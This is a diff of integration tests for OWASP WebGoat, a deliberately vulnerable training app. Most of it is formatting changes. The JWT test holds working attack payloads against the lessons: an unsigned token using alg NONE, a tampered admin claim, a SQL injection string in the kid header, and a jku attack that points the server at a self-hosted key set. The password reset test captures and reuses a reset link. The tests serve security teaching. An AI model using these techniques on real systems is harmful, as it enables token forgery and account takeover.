-        url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
    return webgoatUrl + url;
  }

  protected String webWolfUrl(String url) {
-        url = url.replaceFirst("/WebWolf/", "");
-        url = url.replaceFirst("/WebWolf", "");
-        url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
    return webWolfUrl + url;
  }

+  protected String webWolfFileUrl(String fileName) {
+    return webWolfUrl("files") + "/" + getUser() + "/" + fileName;
+  }
+
  @BeforeEach
  public void login() {
-        String location = given()
+    String location =
+        given()
            .when()
            .relaxedHTTPSValidation()
            .formParam("username", user)
            .formParam("password", "password")
-                .post(url("login")).then()
+            .post(url("login"))
+            .then()
            .cookie("JSESSIONID")
            .statusCode(302)
-                .extract().header("Location");
+            .extract()
+            .header("Location");
    if (location.endsWith("?error")) {
-            webGoatCookie = RestAssured.given()
+      webGoatCookie =
+          RestAssured.given()
              .when()
              .relaxedHTTPSValidation()
              .formParam("username", user)
@ -68,18 +80,22 @@ public abstract class IntegrationTest {
              .extract()
              .cookie("JSESSIONID");
    } else {
-            webGoatCookie = given()
+      webGoatCookie =
+          given()
              .when()
              .relaxedHTTPSValidation()
              .formParam("username", user)
              .formParam("password", "password")
-                    .post(url("login")).then()
+              .post(url("login"))
+              .then()
              .cookie("JSESSIONID")
              .statusCode(302)
-                    .extract().cookie("JSESSIONID");
+              .extract()
+              .cookie("JSESSIONID");
    }

-        webWolfCookie = RestAssured.given()
+    webWolfCookie =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .formParam("username", user)
@ -94,12 +110,7 @@ public abstract class IntegrationTest {

  @AfterEach
  public void logout() {
-        RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .get(url("logout"))
-                .then()
-                .statusCode(200);
+    RestAssured.given().when().relaxedHTTPSValidation().get(url("logout")).then().statusCode(200);
  }

  public void startLesson(String lessonName) {
@ -136,7 +147,9 @@ public abstract class IntegrationTest {
            .post(url)
            .then()
            .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(expectedResult));
  }

  public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
@ -149,36 +162,46 @@ public abstract class IntegrationTest {
            .put(url)
            .then()
            .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(expectedResult));
  }

-    //TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are only required to be in the same package)
+  // TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are
+  // only required to be in the same package)
  public void checkResults(String prefix) {
    checkResults();

-        MatcherAssert.assertThat(RestAssured.given()
+    MatcherAssert.assertThat(
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
            .get(url("service/lessonoverview.mvc"))
            .then()
-                .statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
-
+            .statusCode(200)
+            .extract()
+            .jsonPath()
+            .getList("assignment.path"),
+        CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
  }

  public void checkResults() {
-        var result = RestAssured.given()
+    var result =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
            .get(url("service/lessonoverview.mvc"))
            .andReturn();

-        MatcherAssert.assertThat(result.then()
-                .statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
+    MatcherAssert.assertThat(
+        result.then().statusCode(200).extract().jsonPath().getList("solved"),
+        CoreMatchers.everyItem(CoreMatchers.is(true)));
  }

-    public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) {
+  public void checkAssignment(
+      String url, ContentType contentType, String body, boolean expectedResult) {
    MatcherAssert.assertThat(
        RestAssured.given()
            .when()
@ -189,7 +212,9 @@ public abstract class IntegrationTest {
            .post(url)
            .then()
            .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(expectedResult));
  }

  public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
@ -202,17 +227,23 @@ public abstract class IntegrationTest {
            .get(url)
            .then()
            .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(expectedResult));
  }

  public String getWebWolfFileServerLocation() {
-        String result = RestAssured.given()
+    String result =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/file-server-location"))
+            .get(webWolfUrl("file-server-location"))
            .then()
-                .extract().response().getBody().asString();
+            .extract()
+            .response()
+            .getBody()
+            .asString();
    result = result.replace("%20", " ");
    return result;
  }
@ -222,10 +253,21 @@ public abstract class IntegrationTest {
        .when()
        .relaxedHTTPSValidation()
        .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("/server-directory"))
+        .get(url("server-directory"))
        .then()
-                .extract().response().getBody().asString();
+        .extract()
+        .response()
+        .getBody()
+        .asString();
  }

+  public void cleanMailbox() {
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("WEBWOLFSESSION", getWebWolfCookie())
+        .delete(webWolfUrl("mail"))
+        .then()
+        .statusCode(HttpStatus.ACCEPTED.value());
+  }
 }
-
--- a/src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java
@ -1,24 +1,8 @@
 package org.owasp.webgoat;

-import java.io.IOException;
-import java.nio.charset.Charset;
-import java.security.InvalidKeyException;
-import java.security.NoSuchAlgorithmException;
-import java.time.Instant;
-import java.util.Base64;
-import java.util.Calendar;
-import java.util.Date;
-import java.util.HashMap;
-import java.util.Map;
-
-import org.hamcrest.CoreMatchers;
-import org.hamcrest.MatcherAssert;
-import org.junit.jupiter.api.Test;
-
 import com.fasterxml.jackson.databind.JsonNode;
 import com.fasterxml.jackson.databind.ObjectMapper;
 import com.fasterxml.jackson.databind.node.ObjectNode;
-
 import io.jsonwebtoken.Header;
 import io.jsonwebtoken.JwsHeader;
 import io.jsonwebtoken.Jwt;
@ -27,6 +11,24 @@ import io.jsonwebtoken.Jwts;
 import io.jsonwebtoken.SignatureAlgorithm;
 import io.jsonwebtoken.impl.TextCodec;
 import io.restassured.RestAssured;
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.security.InvalidKeyException;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.NoSuchAlgorithmException;
+import java.security.interfaces.RSAPublicKey;
+import java.time.Instant;
+import java.util.Base64;
+import java.util.Calendar;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.Map;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.jose4j.jwk.JsonWebKeySet;
+import org.jose4j.jwk.RsaJsonWebKey;
+import org.junit.jupiter.api.Test;
 import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;

 public class JWTLessonIntegrationTest extends IntegrationTest {
@ -43,7 +45,9 @@ public class JWTLessonIntegrationTest extends IntegrationTest {

    buyAsTom();

-        deleteTom();
+    deleteTomThroughKidClaim();
+
+    deleteTomThroughJkuClaim();

    quiz();

@ -61,7 +65,8 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
        .claim("username", "WebGoat")
        .claim("Email", "tom@webgoat.org")
        .claim("Role", new String[] {"Manager", "Project Administrator"})
-		.signWith(SignatureAlgorithm.HS256, key).compact();
+        .signWith(SignatureAlgorithm.HS256, key)
+        .compact();
  }

  private String getSecretToken(String token) {
@ -83,22 +88,26 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
            .formParam("jwt-encode-user", "user")
-						.post(url("/WebGoat/JWT/decode"))
+            .post(url("JWT/decode"))
            .then()
            .statusCode(200)
-						.extract().path("lessonCompleted"), CoreMatchers.is(true));
-
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
  }

  private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {

-    	String accessToken = RestAssured.given()
+    String accessToken =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("/WebGoat/JWT/secret/gettoken"))
+            .get(url("JWT/secret/gettoken"))
            .then()
-                .extract().response().asString();
+            .extract()
+            .response()
+            .asString();

    String secret = getSecretToken(accessToken);

@ -108,21 +117,24 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
            .formParam("token", generateToken(secret))
-                        .post(url("/WebGoat/JWT/secret"))
+            .post(url("JWT/secret"))
            .then()
            .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-    	
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
  }

  private void resetVotes() throws IOException {
-    	String accessToken = RestAssured.given()
+    String accessToken =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("/WebGoat/JWT/votings/login?user=Tom"))
+            .get(url("JWT/votings/login?user=Tom"))
            .then()
-                .extract().cookie("access_token");
+            .extract()
+            .cookie("access_token");

    String header = accessToken.substring(0, accessToken.indexOf("."));
    header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
@ -137,10 +149,14 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
    JsonNode bodyObject = mapper.readTree(body);
    bodyObject = ((ObjectNode) bodyObject).put("admin", "true");

-        String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
+    String replacedToken =
+        new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
            .concat(".")
-        		.concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString())
-        		.concat(".").replace("=", "");
+            .concat(
+                new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes()))
+                    .toString())
+            .concat(".")
+            .replace("=", "");

    MatcherAssert.assertThat(
        RestAssured.given()
@ -148,17 +164,27 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
            .cookie("access_token", replacedToken)
-                        .post(url("/WebGoat/JWT/votings"))
+            .post(url("JWT/votings"))
            .then()
            .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
  }

  private void buyAsTom() throws IOException {

-		String header = new String(Base64.getUrlDecoder().decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
+    String header =
+        new String(
+            Base64.getUrlDecoder()
+                .decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));

-		String body = new String(Base64.getUrlDecoder().decode("eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0".getBytes(Charset.defaultCharset())));
+    String body =
+        new String(
+            Base64.getUrlDecoder()
+                .decode(
+                    "eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0"
+                        .getBytes(Charset.defaultCharset())));

    body = body.replace("Jerry", "Tom");

@ -166,25 +192,35 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
    JsonNode headerNode = mapper.readTree(header);
    headerNode = ((ObjectNode) headerNode).put("alg", "NONE");

-		String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())).concat(".")
+    String replacedToken =
+        new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
+            .concat(".")
            .concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
-				.concat(".").replace("=", "");
+            .concat(".")
+            .replace("=", "");

-		MatcherAssert.assertThat(RestAssured.given()
-				.when().relaxedHTTPSValidation()
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
            .header("Authorization", "Bearer " + replacedToken)
-				.post(url("/WebGoat/JWT/refresh/checkout"))
-				.then().statusCode(200)
-				.extract().path("lessonCompleted"), CoreMatchers.is(true));
+            .post(url("JWT/refresh/checkout"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
  }

-	private void deleteTom() {
-		
+  private void deleteTomThroughKidClaim() {
    Map<String, Object> header = new HashMap();
    header.put(Header.TYPE, Header.JWT_TYPE);
-		  header.put(JwsHeader.KEY_ID, "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
-		String token = Jwts.builder()
+    header.put(
+        JwsHeader.KEY_ID,
+        "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
+    String token =
+        Jwts.builder()
            .setHeader(header)
            .setIssuer("WebGoat Token Builder")
            .setAudience("webgoat.org")
@ -194,15 +230,67 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
            .claim("username", "Tom")
            .claim("Email", "tom@webgoat.org")
            .claim("Role", new String[] {"Manager", "Project Administrator"})
-				.signWith(SignatureAlgorithm.HS256, "deletingTom").compact();
+            .signWith(SignatureAlgorithm.HS256, "deletingTom")
+            .compact();

-		MatcherAssert.assertThat(RestAssured.given()
-				.when().relaxedHTTPSValidation()
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
-				.post(url("/WebGoat/JWT/final/delete?token="+token))
+            .post(url("JWT/kid/delete?token=" + token))
            .then()
            .statusCode(200)
-				.extract().path("lessonCompleted"), CoreMatchers.is(true));
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void deleteTomThroughJkuClaim() throws NoSuchAlgorithmException {
+    KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
+    keyPairGenerator.initialize(2048);
+    KeyPair keyPair = keyPairGenerator.generateKeyPair();
+    var jwks = new JsonWebKeySet(new RsaJsonWebKey((RSAPublicKey) keyPair.getPublic()));
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("WEBWOLFSESSION", getWebWolfCookie())
+        .multiPart("file", "jwks.json", jwks.toJson().getBytes())
+        .post(webWolfUrl("fileupload"))
+        .then()
+        .extract()
+        .response()
+        .getBody()
+        .asString();
+
+    Map<String, Object> header = new HashMap();
+    header.put(Header.TYPE, Header.JWT_TYPE);
+    header.put(JwsHeader.JWK_SET_URL, webWolfFileUrl("jwks.json"));
+    String token =
+        Jwts.builder()
+            .setHeader(header)
+            .setIssuer("WebGoat Token Builder")
+            .setAudience("webgoat.org")
+            .setIssuedAt(Calendar.getInstance().getTime())
+            .setExpiration(Date.from(Instant.now().plusSeconds(60)))
+            .setSubject("tom@webgoat.org")
+            .claim("username", "Tom")
+            .claim("Email", "tom@webgoat.org")
+            .claim("Role", new String[] {"Manager", "Project Administrator"})
+            .signWith(SignatureAlgorithm.RS256, keyPair.getPrivate())
+            .compact();
+
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .post(url("JWT/jku/delete?token=" + token))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
  }

  private void quiz() {
@ -210,7 +298,6 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
    params.put("question_0_solution", "Solution 1");
    params.put("question_1_solution", "Solution 2");

-		checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
+    checkAssignment(url("JWT/quiz"), params, true);
  }
-    
 }
--- a/src/it/java/org/owasp/webgoat/LabelAndHintIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/LabelAndHintIntegrationTest.java
@ -3,92 +3,139 @@ package org.owasp.webgoat;
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
 import io.restassured.path.json.JsonPath;
-import org.junit.jupiter.api.Assertions;
-import org.junit.jupiter.api.Test;
-
 import java.io.FileInputStream;
 import java.io.InputStream;
 import java.util.List;
 import java.util.Properties;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;

 public class LabelAndHintIntegrationTest extends IntegrationTest {

-    final static String ESCAPE_JSON_PATH_CHAR = "\'";
+  static final String ESCAPE_JSON_PATH_CHAR = "\'";

  @Test
  public void testSingleLabel() {
    Assertions.assertTrue(true);
-        JsonPath jsonPath = RestAssured.given()
+    JsonPath jsonPath =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .contentType(ContentType.JSON)
            .header("Accept-Language", "en")
            .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
+            .get(url("service/labels.mvc"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();

-        Assertions.assertEquals("Try again: but this time enter a value before hitting go.", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"http-basics.close"+ESCAPE_JSON_PATH_CHAR));
+    Assertions.assertEquals(
+        "Try again: but this time enter a value before hitting go.",
+        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));

    // check if lang parameter overrules Accept-Language parameter
-        jsonPath = RestAssured.given()
+    jsonPath =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .contentType(ContentType.JSON)
            .header("Accept-Language", "en")
            .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/labels.mvc?lang=nl")).then().statusCode(200).extract().jsonPath();
-        Assertions.assertEquals("Gebruikersnaam", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
+            .get(url("service/labels.mvc?lang=nl"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    Assertions.assertEquals(
+        "Gebruikersnaam",
+        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));

-        jsonPath = RestAssured.given()
+    jsonPath =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .contentType(ContentType.JSON)
            .header("Accept-Language", "en")
            .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/labels.mvc?lang=de")).then().statusCode(200).extract().jsonPath();
-        Assertions.assertEquals("Benutzername", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
+            .get(url("service/labels.mvc?lang=de"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    Assertions.assertEquals(
+        "Benutzername",
+        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));

    // check if invalid language returns english
-        jsonPath = RestAssured.given()
+    jsonPath =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .contentType(ContentType.JSON)
            .header("Accept-Language", "nl")
            .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/labels.mvc?lang=xx")).then().statusCode(200).extract().jsonPath();
-        Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
+            .get(url("service/labels.mvc?lang=xx"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    Assertions.assertEquals(
+        "Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));

    // check if invalid language returns english
-        jsonPath = RestAssured.given()
+    jsonPath =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .contentType(ContentType.JSON)
            .header("Accept-Language", "xx_YY")
            .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
-        Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
-
+            .get(url("service/labels.mvc"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    Assertions.assertEquals(
+        "Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
  }

  @Test
  public void testHints() {
    JsonPath jsonPathLabels = getLabels("en");
-        List<String> allLessons = List.of(
+    List<String> allLessons =
+        List.of(
            "HttpBasics",
-                "HttpProxies", "CIA", "InsecureLogin", "Cryptography", "PathTraversal",
-                "XXE", "JWT", "IDOR", "SSRF", "WebWolfIntroduction", "CrossSiteScripting", "CSRF", "HijackSession",
-                "SqlInjection", "SqlInjectionMitigations" ,"SqlInjectionAdvanced",
+            "HttpProxies",
+            "CIA",
+            "InsecureLogin",
+            "Cryptography",
+            "PathTraversal",
+            "XXE",
+            "JWT",
+            "IDOR",
+            "SSRF",
+            "WebWolfIntroduction",
+            "CrossSiteScripting",
+            "CSRF",
+            "HijackSession",
+            "SqlInjection",
+            "SqlInjectionMitigations",
+            "SqlInjectionAdvanced",
            "Challenge1");
    for (String lesson : allLessons) {
      startLesson(lesson);
      List<String> hintKeys = getHints();
      for (String key : hintKeys) {
-                String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
+        String keyValue =
+            jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
        // System.out.println("key: " + key + " ,value: " + keyValue);
        Assertions.assertNotNull(keyValue);
        Assertions.assertNotEquals(key, keyValue);
      }
    }
-        //Assertions.assertEquals("http-basics.hints.http_basics_lesson.1", ""+jsonPath.getList("hint").get(0));
+    // Assertions.assertEquals("http-basics.hints.http_basics_lesson.1",
+    // ""+jsonPath.getList("hint").get(0));
  }

  @Test
@ -97,20 +144,25 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
    JsonPath jsonPathLabels = getLabels("en");
    Properties propsDefault = getProperties("");
    for (String key : propsDefault.stringPropertyNames()) {
-            String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR);
+      String keyValue =
+          jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
      Assertions.assertNotNull(keyValue);
    }
    checkLang(propsDefault, "nl");
    checkLang(propsDefault, "de");
    checkLang(propsDefault, "fr");
    checkLang(propsDefault, "ru");
-
  }

  private Properties getProperties(String lang) {
    Properties prop = null;
-        if (lang == null || lang.equals("")) { lang = ""; } else { lang = "_"+lang; }
-        try (InputStream input = new FileInputStream("src/main/resources/i18n/messages"+lang+".properties")) {
+    if (lang == null || lang.equals("")) {
+      lang = "";
+    } else {
+      lang = "_" + lang;
+    }
+    try (InputStream input =
+        new FileInputStream("src/main/resources/i18n/messages" + lang + ".properties")) {

      prop = new Properties();
      // load a properties file
@ -130,9 +182,13 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
        System.err.println("key: " + key + " in (" + lang + ") is missing from default properties");
        Assertions.fail();
      }
-            if (!jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR).equals(propsLang.get(key))) {
-                System.out.println("key: " + key + " in (" +lang+") has incorrect translation in label service");
-                System.out.println("actual:"+jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR));
+      if (!jsonPath
+          .getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR)
+          .equals(propsLang.get(key))) {
+        System.out.println(
+            "key: " + key + " in (" + lang + ") has incorrect translation in label service");
+        System.out.println(
+            "actual:" + jsonPath.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR));
        System.out.println("expected: " + propsLang.getProperty(key));
        System.out.println();
        Assertions.fail();
@ -151,11 +207,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
        .get(url("service/labels.mvc"))
        .then()
        // .log().all()
-                .statusCode(200).extract().jsonPath();
+        .statusCode(200)
+        .extract()
+        .jsonPath();
  }

  private List<String> getHints() {
-        JsonPath jsonPath = RestAssured.given()
+    JsonPath jsonPath =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .contentType(ContentType.JSON)
@ -163,8 +222,9 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
            .get(url("service/hint.mvc"))
            .then()
            // .log().all()
-                .statusCode(200).extract().jsonPath();
+            .statusCode(200)
+            .extract()
+            .jsonPath();
    return jsonPath.getList("hint");
  }
-
 }
--- a/src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java
@ -1,26 +1,23 @@
 package org.owasp.webgoat;

-import io.restassured.RestAssured;
-import lombok.SneakyThrows;
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;

+import io.restassured.RestAssured;
+import java.util.Arrays;
+import java.util.Map;
 import org.apache.commons.lang3.StringUtils;
 import org.assertj.core.api.Assertions;
 import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.DynamicTest;
 import org.junit.jupiter.api.TestFactory;
-
-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
-
-import java.util.Arrays;
-import java.util.Map;
+import org.springframework.http.HttpHeaders;

 public class PasswordResetLessonIntegrationTest extends IntegrationTest {

  @BeforeEach
-    @SneakyThrows
  public void init() {
-    	startLesson("/PasswordReset");
+    startLesson("PasswordReset");
  }

  @TestFactory
@ -30,53 +27,78 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
        dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()),
        dynamicTest("assignment 2 - simple reset", () -> assignment2()),
        dynamicTest("assignment 4 - guess questions", () -> assignment4()),
-    			dynamicTest("assignment 5 - simple questions",()-> assignment5())
-    			);
+        dynamicTest("assignment 5 - simple questions", () -> assignment5()));
  }
+
  public void assignment2() {
-		checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false);
-		checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true);
+    checkAssignment(
+        url("PasswordReset/simple-mail/reset"),
+        Map.of("emailReset", this.getUser() + "@webgoat.org"),
+        false);
+    checkAssignment(
+        url("PasswordReset/simple-mail"),
+        Map.of(
+            "email",
+            this.getUser() + "@webgoat.org",
+            "password",
+            StringUtils.reverse(this.getUser())),
+        true);
  }

  public void assignment4() {
-        checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true);
+    checkAssignment(
+        url("PasswordReset/questions"),
+        Map.of("username", "tom", "securityQuestion", "purple"),
+        true);
  }

  public void assignment5() {
-        checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false);
-        checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true);
+    checkAssignment(
+        url("PasswordReset/SecurityQuestions"),
+        Map.of("question", "What is your favorite animal?"),
+        false);
+    checkAssignment(
+        url("PasswordReset/SecurityQuestions"),
+        Map.of("question", "What is your favorite color?"),
+        true);
  }

-	
  public void solveAssignment() {
    // WebGoat
    clickForgotEmailLink("tom@webgoat-cloud.org");

    // WebWolf
    var link = getPasswordResetLinkFromLandingPage();
-
    // WebGoat
    changePassword(link);
-        checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true);
+    checkAssignment(
+        url("PasswordReset/reset/login"),
+        Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
+        true);
  }

  public void sendEmailShouldBeAvailableInWebWolf() {
    clickForgotEmailLink(this.getUser() + "@webgoat.org");

-        var responseBody = RestAssured.given()
+    var responseBody =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/WebWolf/mail"))
+            .get(webWolfUrl("mail"))
            .then()
-                .extract().response().getBody().asString();
+            .extract()
+            .response()
+            .getBody()
+            .asString();

    Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
  }

  @AfterEach
  public void shutdown() {
-    	//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
+    // this will run only once after the list of dynamic tests has run, this is to test if the
+    // lesson is marked complete
    checkResults("/PasswordReset");
  }

@ -92,22 +114,29 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
  }

  private String getPasswordResetLinkFromLandingPage() {
-        var responseBody = RestAssured.given()
+    var responseBody =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/WebWolf/requests"))
+            .get(webWolfUrl("requests"))
            .then()
-                .extract().response().getBody().asString();
+            .extract()
+            .response()
+            .getBody()
+            .asString();
    int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
-        var link = responseBody.substring(startIndex + "/PasswordReset/reset/reset-password/".length(), responseBody.indexOf(",", startIndex) - 1);
+    var link =
+        responseBody.substring(
+            startIndex + "/PasswordReset/reset/reset-password/".length(),
+            responseBody.indexOf(",", startIndex) - 1);
    return link;
  }

